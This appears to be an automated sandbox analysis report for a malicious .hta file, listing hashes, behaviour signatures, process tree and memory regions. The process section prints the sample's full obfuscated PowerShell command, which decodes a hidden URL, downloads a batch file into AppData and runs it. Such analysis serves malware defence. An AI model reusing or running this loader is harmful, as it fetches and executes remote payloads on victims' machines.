Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/05/2024, 01:18

General

  • Target

    6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d.hta

  • Size

    48KB

  • MD5

    8ec81411709c0d3ca73859814204cd71

  • SHA1

    7da6542e29c888d65a857cf5876ed8e9e6524510

  • SHA256

    6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d

  • SHA512

    ece006bb69841cf02d64c95c0534376934fa073b89eab8f85cc3323f647f1a326198d56cad9666d5b6152e763e2859e945e8794a877c75808f224b27201eec14

  • SSDEEP

    768:SOLDbrv8XXl7qCk0BU6zoWvXqfM0JYJ4Tpdsfq0H5wj/:SObstqCdoWvXqfM0JY40Kj

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function pYUxYe($YX, $ed){[IO.File]::WriteAllBytes($YX, $ed)};function eYJrvvozw($YX){if($YX.EndsWith((atHcQU @(22670,22724,22732,22732))) -eq $True){Start-Process (atHcQU @(22738,22741,22734,22724,22732,22732,22675,22674,22670,22725,22744,22725)) $YX}else{Start-Process $YX}};function QJVAx($F){$J = New-Object (atHcQU @(22702,22725,22740,22670,22711,22725,22722,22691,22732,22729,22725,22734,22740));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$ed = $J.DownloadData($F);return $ed};function atHcQU($Z){$h=22624;$OK=$Null;foreach($Pw in $Z){$OK+=[char]($Pw-$h)};return $OK};function ROmYsTcn(){$nmYSjx = $env:APPDATA + '\';$JkqUaMTnM = QJVAx (atHcQU @(22728,22740,22740,22736,22739,22682,22671,22671,22743,22721,22732,22732,22677,22740,22727,22728,22726,22678,22726,22724,22727,22670,22721,22736,22729,22670,22735,22736,22725,22734,22739,22735,22741,22738,22723,22725,22739,22721,22721,22739,22670,22735,22738,22727,22671,22714,22703,22724,22723,22726,22702,22741,22735,22671,22733,22745,22744,22743,22738,22677,22723,22732,22729,22670,22722,22721,22740));$lVBjIvqD = $nmYSjx + 'myxwr5cli.bat';pYUxYe $lVBjIvqD $JkqUaMTnM;eYJrvvozw $lVBjIvqD;;;;}ROmYsTcn;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2516

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v0brqopg.fub.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2516-4-0x00000000715D0000-0x0000000071D80000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-18-0x0000000005EF0000-0x0000000005F0E000-memory.dmp

    Filesize

    120KB

  • memory/2516-2-0x0000000004FF0000-0x0000000005618000-memory.dmp

    Filesize

    6.2MB

  • memory/2516-0-0x00000000715DE000-0x00000000715DF000-memory.dmp

    Filesize

    4KB

  • memory/2516-5-0x0000000005660000-0x0000000005682000-memory.dmp

    Filesize

    136KB

  • memory/2516-6-0x0000000005800000-0x0000000005866000-memory.dmp

    Filesize

    408KB

  • memory/2516-7-0x0000000005870000-0x00000000058D6000-memory.dmp

    Filesize

    408KB

  • memory/2516-1-0x0000000004980000-0x00000000049B6000-memory.dmp

    Filesize

    216KB

  • memory/2516-3-0x00000000715D0000-0x0000000071D80000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-19-0x0000000005F30000-0x0000000005F7C000-memory.dmp

    Filesize

    304KB

  • memory/2516-17-0x00000000059E0000-0x0000000005D34000-memory.dmp

    Filesize

    3.3MB

  • memory/2516-20-0x0000000007780000-0x0000000007DFA000-memory.dmp

    Filesize

    6.5MB

  • memory/2516-21-0x0000000006480000-0x000000000649A000-memory.dmp

    Filesize

    104KB

  • memory/2516-22-0x00000000073F0000-0x0000000007486000-memory.dmp

    Filesize

    600KB

  • memory/2516-23-0x0000000007390000-0x00000000073B2000-memory.dmp

    Filesize

    136KB

  • memory/2516-24-0x00000000083B0000-0x0000000008954000-memory.dmp

    Filesize

    5.6MB

  • memory/2516-27-0x00000000715D0000-0x0000000071D80000-memory.dmp

    Filesize

    7.7MB